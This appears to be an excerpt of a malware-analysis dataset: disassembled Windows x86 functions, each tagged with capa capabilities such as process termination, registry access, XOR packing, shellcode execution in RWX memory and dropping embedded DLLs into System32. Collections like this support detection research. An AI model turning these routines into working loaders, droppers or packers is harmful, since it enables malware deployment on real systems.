joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401210
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x10
mov eax, dword [str.qdv_pkg4fs7]
mov ecx, dword [0x404030]
mov edx, dword [0x404034]
push ebp
mov ebp, dword [esp + 0x20]
mov dword [esp + 4], eax
mov al, byte [0x404038]
push esi
mov esi, dword [esp + 0x28]
mov dword [esp + 0xc], ecx
test ebp, ebp
mov dword [esp + 0x10], edx
mov byte [esp + 0x14], al
jle 0x4012a8
mov edx, dword [esp + 0x20]
push ebx
push edi
mov edi, dword [esp + 0x24]
sub edi, edx
cmp esi, 0xc
jl 0x40125a
xor esi, esi
mov cl, byte [edi + edx]
mov byte [esp + 0x30], cl
mov eax, dword [esp + 0x30]
and eax, 0xff
and eax, 0x8000000f
jns 0x401276
dec eax
or eax, 0xfffffff0
inc eax
xor ebx, ebx
and eax, 0xff
mov bl, byte [esp + esi + 0x10]
xor eax, ebx
and eax, 0x8000000f
jns 0x40128f
dec eax
or eax, 0xfffffff0
inc eax
shr cl, 4
shl cl, 4
add al, cl
mov byte [edx], al
inc edx
inc esi
dec ebp
jne 0x401253
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
add esp, 0x10
ret
mov eax, esi
pop esi
pop ebp
add esp, 0x10
ret

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x402d28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
mov eax, dword [esp + 0x164]
lea ecx, [esp + 0x54]
push eax
push 0x40403c
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x60]
add esp, 0xc
mov dword [esp + 0x1c], edx
lea ecx, [esp]
lea edx, [esp + 0x10]
xor eax, eax
push ecx
push edx
push eax
push eax
push 0x20
push eax
push eax
lea ecx, [esp + 0x70]
push eax
push ecx
push eax
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x3c], eax
mov dword [esp + 0x6c], eax
mov word [esp + 0x6a], ax
mov dword [esp + 0x40], eax
mov dword [esp + 0x64], 0x40
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40135e
lea ecx, [esp + 0x164]
mov dword [esp + 0x15c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x154]
mov dword fs:[0], ecx
add esp, 0x160
ret
mov edx, dword [esp]
push esi
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 4]
push ecx
call esi
lea ecx, [esp + 0x168]
mov dword [esp + 0x160], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x158]
pop esi
mov dword fs:[0], ecx
add esp, 0x160
ret
Function at 0x4013b0
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x402d50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push edi
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
lea eax, [esp + 8]
xor ebx, ebx
push eax
push 0x20019
push ebx
push ecx
push edx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], 0xff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
je 0x401411
cmp eax, 2
je 0x401411
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401444
mov edi, dword [esp + 0x2c]
lea ecx, [esp + 0xc]
push esi
mov esi, dword [esp + 0x2c]
push ecx
push 0x100
mov ecx, edi
call sub.MFC42.DLL_CString::GetBuffer
mov edx, dword [esp + 0x10]
push eax
push ebx
push ebx
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
pop esi
je 0x401475
cmp eax, 2
je 0x401475
lea ecx, [esp + 0x24]
mov byte [esp + 0x18], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
push 0xffffffffffffffff
mov ecx, edi
call sub.MFC42.DLL_CString::ReleaseBuffer
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x24]
mov byte [esp + 0x18], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
pop edi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4014c0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x410
push esi
push eax
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401565
lea ecx, [esp + 0xc]
lea edx, [esp + 4]
push ecx
push 4
push edx
push esi
mov dword [esp + 0x14], 0
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x401565
mov ecx, dword [esp + 4]
lea eax, [esp + 0x110]
push 0x104
push eax
push ecx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x401565
lea edx, [esp + 0x314]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x218]
push eax
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x11c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll__splitpath]
lea ecx, [esp + 0x24]
push str.wblogon
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x1c
test eax, eax
jne 0x401565
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x410
ret
Function at 0x401580
Capabilities:
Enumerate process modules

Disassembly:
push 0xffffffffffffffff
push 0x402d60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1004
call fcn.00402b40
push ebx
push esi
push edi
xor esi, esi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push 0x1000
push ecx
mov dword [esp + 0x18], esi
xor ebx, ebx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4015db
mov ebx, dword [esp + 0xc]
shr ebx, 2
lea edi, [esp + 0x10]
cmp esi, ebx
jae 0x4015f4
mov edx, dword [edi]
push edx
call fcn.004014c0
add esp, 4
inc esi
add edi, 4
jmp 0x4015df
mov ecx, dword [esp + 0x1014]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x1014
ret

Function at 0x401610
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x18]
lea eax, [esp + 4]
push eax
push 2
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401630
xor eax, eax
ret
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
push esi
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
ret
Function at 0x4028e0
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x402e08
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push ebp
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call sub.MFC42.DLL_AfxWinInit
test eax, eax
je 0x402a6c
cmp dword [esp + 0x48], 2
jne 0x402a3e
mov esi, dword [esp + 0x4c]
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
push 0x404ae0
mov eax, dword [esi + 4]
push eax
call edi
add esp, 8
test eax, eax
jne 0x402a0c
lea ecx, [esp + 0x48]
call sub.MFC42.DLL_CString::CString_2
mov ebx, dword [sym.imp.MSVCRT.dll_printf]
push str.___Please_enter_the_password_protection__n
call ebx
mov edi, dword [sym.imp.MSVCRT.dll__getch]
add esp, 4
xor esi, esi
call edi
cmp al, 0xd
je 0x402979
mov byte [esp + esi + 0x10], al
inc esi
cmp esi, 0x28
jl 0x402969
push 0x404020
mov byte [esp + esi + 0x14], 0
call ebx
or ebp, 0xffffffff
lea edi, [esp + 0x14]
mov ecx, ebp
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xa
jne 0x402a05
cmp byte [esp + 0x12], 0x76
jne 0x402a05
cmp byte [esp + 0x15], 0x79
jne 0x402a05
cmp byte [esp + 0x19], 0x61
jne 0x402a05
push str.WBSTOPEVENT
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
test esi, esi
jne 0x4029e5
push str.Error_to_CreateEvent._n
call ebx
add esp, 4
lea ecx, [esp + 0x48]
mov dword [esp + 0x40], ebp
call sub.MFC42.DLL_CString::CString
jmp 0x402a6c
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x4029f7
push str.Error_to_SetEvent._n
jmp 0x4029ce
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Signal_the_uninstall_kernel_object_successfully._n
jmp 0x4029ce
push str.Password_invalid_
jmp 0x4029ce
mov ecx, dword [esi + 4]
push 0x404a7c
push ecx
call edi
add esp, 8
test eax, eax
jne 0x402a25
call fcn.004016f0
jmp 0x402a6c
mov edx, dword [esi + 4]
push 0x404a78
push edx
call edi
add esp, 8
test eax, eax
jne 0x402a3e
call fcn.004025e0
jmp 0x402a6c
mov esi, dword [sym.imp.MSVCRT.dll_printf]
push str.Usage:_Used_for_waterbox7X_for_Win2K_XP_OS._n
call esi
add esp, 4
push str.Parameters:__n
call esi
add esp, 4
push str._____m:_Manual_uninstall_client_waterbox_parts__n
call esi
add esp, 4
push str._____a:_Automatic_uninstall_waterbox_client_with_network._n
call esi
add esp, 4
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x402b6f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403158
push 0x402ca8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x404bd8], 0xffffffff
or dword [0x404bdc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x404bd0]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x404bcc]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x404bd4], eax
call fcn.00402ca7
cmp dword [0x404af0], 0
jne 0x402bf2
push 0x402ca4
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00402c92
push 0x404010
push 0x40400c
call sub.MSVCRT.dll__initterm
mov eax, dword [0x404bc8]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x404bc4]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x404008
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004028e0
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x1007cc6
Capabilities:
Parse pe header

Disassembly:
push 0x60
push 0x1002130
call fcn.01009278
mov edi, 0x94
mov eax, edi
call fcn.01007f20
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call fcn.010112c4
add dword [ebx + 0xd89104e], ecx
jo 0x1007d24
add dword [ecx], eax
mov eax, dword [esi + 4]
mov dword [0x101317c], eax
mov edx, dword [esi + 8]
mov dword [0x1013180], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x1013174], esi
cmp ecx, 2
je 0x1007d26
or esi, 0x8000
mov dword [0x1013174], esi
add dword [ecx], eax
shl eax, 8
add eax, edx
mov dword [0x1013178], eax
cmp word [0x1000000], 0x5a4d
jne 0x1007d63
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1007d63
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1007d7c
cmp ecx, 0x20b
je 0x1007d69
and dword [ebp - 0x1c], 0
jmp 0x1007d93
cmp dword [eax + 0x1000084], 0xe
jbe 0x1007d63
xor ecx, ecx
cmp dword [eax + 0x10000f8], ecx
jmp 0x1007d8d
cmp dword [eax + 0x1000074], 0xe
jbe 0x1007d63
xor ecx, ecx
cmp dword [eax + 0x10000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
push 0
call fcn.0100921a
pop ecx
test eax, eax
jne 0x1007dc0
cmp dword [0x1013160], 1
jne 0x1007dad
call fcn.0100890e
push 0x1c
call fcn.01008721
push 0xff
call fcn.01008580
pop ecx
pop ecx
and dword [ebp - 4], 0
call fcn.0100904a
test eax, eax
jge 0x1007dd5
push 0x1b
call fcn.01007c97
pop ecx
call fcn.01008f9a
mov dword [0x10147f0], eax
call fcn.01008dfb
mov dword [0x101315c], eax
call fcn.01008d5e
test eax, eax
jge 0x1007dfa
push 8
call fcn.01007c97
pop ecx
call fcn.01008b1d
test eax, eax
jge 0x1007e0b
push 9
call fcn.01007c97
pop ecx
call fcn.010085da
mov dword [ebp - 0x28], eax
test eax, eax
je 0x1007e1e
push eax
call fcn.01007c97
pop ecx
and dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call fcn.01008ac4
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x1007e40
movzx eax, word [ebp - 0x40]
jmp 0x1007e43
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push 0
push 0x1000000
call fcn.010074d5
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x1c], 0
jne 0x1007e64
push esi
call fcn.010086ba
call fcn.010086f2
jmp 0x1007e96
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x7c]
call fcn.010092b3
ret
Function at 0x100024e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x10028008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x10024848
push str.ntdll
xor bl, bl
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x234], eax
test eax, eax
je 0x1000261d
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1000260a
push esi
push 0x18
lea eax, [ebp - 0x24c]
push eax
push esi
push edi
call dword [ebp - 0x234]
test eax, eax
push edi
cmove esi, dword [ebp - 0x238]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1000260a
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x228
mov edi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.100172e0
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10002603
cmp esi, dword [ebp - 0x228]
je 0x100025c0
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100025a4
jmp 0x10002603
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100025d0
sub ecx, edx
sar ecx, 1
cmp ecx, 0xc
jne 0x10002601
push ecx
lea eax, [ebp - 0x20c]
push str.explorer.exe
push eax
call fcn.1000e8a3
add esp, 0xc
test eax, eax
jne 0x10002601
mov bl, 1
jmp 0x10002603
xor bl, bl
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000db9e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.1000db9e
mov esp, ebp
pop ebp
ret

Function at 0x10007330
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x10025054
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x10025070
push edi
call esi
push 0x10025078
push edi
mov dword [ebp - 4], eax
call esi
push 0x10025084
push edi
mov ebx, eax
call esi
mov edi, dword [ebp - 4]
mov esi, eax
test edi, edi
je 0x100073c9
test ebx, ebx
je 0x100073c9
test esi, esi
je 0x100073c9
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x20
push eax
lea edx, [eax + 0x10]
mov dword [eax], edi
push edx
mov dword [eax + 8], esi
mov edi, edx
push 0
mov dword [eax + 4], ebx
mov ecx, 0x40
mov esi, 0x100075c0
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100073c9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100073e0
Capabilities:
Delete file
Extract resource via kernel32 functions
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x10028008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, ecx
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.100172e0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push str._SystemRoot_System32ieopearex.dll
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x100250e0
push 0x65
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x100074ca
push edi
push esi
call ebx
push edi
push esi
mov dword [ebp - 0x214], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100074ca
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x80
push 1
push 0
push 1
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x20c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100074ca
push 0
lea eax, [ebp - 0x218]
mov dword [ebp - 0x218], 0
push eax
push dword [ebp - 0x214]
push dword [ebp - 0x210]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push str._SystemRoot_System32ws_32.dll
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x100250e0
push 0x66
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x10007579
push edi
push esi
call ebx
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10007579
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x80
push 1
push 0
push 1
mov edi, eax
lea eax, [ebp - 0x20c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10007579
push 0
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000db9e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000db9e
mov esp, ebp
pop ebp
ret
Function at 0x10009b30
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
mov eax, dword [0x10028008]
xor eax, esp
mov dword [esp + 0x460], eax
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push ebx
cmovae eax, dword [ebp + 8]
push esi
push edi
push eax
push ecx
lea eax, [esp + 0x268]
mov dword [esp + 0x14], ecx
push str._s_s.txt
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10009bdc
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea ebx, [ebx]
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x268]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x260]
push eax
call edi
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x10009ba0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x1c], 8
jb 0x10009bed
push dword [ebp + 8]
call fcn.1000e356
add esp, 4
mov ecx, dword [esp + 0x46c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000db9e
mov esp, ebp
pop ebp
ret
Function at 0x1000a9d0
Capabilities:
Enumerate pe sections
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x10028008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov ebx, ecx
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov dword [ebp - 0x21c], ebx
call fcn.100172e0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x8000000
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0x210], edi
cmp edi, 0xffffffff
je 0x1000ab0e
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
mov dword [ebp - 0x214], esi
test esi, esi
je 0x1000ab07
push 0
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x1000ab00
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x1000aaf9
mov ecx, dword [ebx + 0x3c]
cmp dword [ecx + ebx], 0x4550
jne 0x1000aaf9
movzx eax, word [ecx + ebx + 0x14]
xor edx, edx
mov edi, dword [ecx + ebx + 0x28]
add eax, 0x18
add eax, ecx
add eax, ebx
mov dword [ebp - 0x218], eax
movzx eax, word [ecx + ebx + 6]
mov dword [ebp - 0x220], eax
test eax, eax
je 0x1000aaf3
mov ecx, dword [ebp - 0x218]
add ecx, 0xc
jmp 0x1000aad0
mov esi, dword [ecx]
cmp edi, esi
jb 0x1000aae5
mov eax, dword [ecx + 4]
add eax, esi
cmp edi, eax
jb 0x1000ab21
mov eax, dword [ebp - 0x220]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1000aad0
mov esi, dword [ebp - 0x214]
mov edi, dword [ebp - 0x210]
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000db9e
mov esp, ebp
pop ebp
ret
lea eax, [edx + edx*4]
mov edx, dword [ebp - 0x218]
mov ecx, dword [edx + eax*8 + 0x14]
sub ecx, dword [edx + eax*8 + 0xc]
add ecx, edi
je 0x1000aaed
lea edx, [ecx + ebx]
mov ecx, dword [ebp - 0x21c]
add ecx, edi
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000ab59
mov eax, dword [ecx + 4]
cmp eax, dword [edx + 4]
jne 0x1000ab59
movzx eax, word [ecx + 8]
cmp ax, word [edx + 8]
je 0x1000ab6c
push 0
push 0xa
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000db9e
mov esp, ebp
pop ebp
ret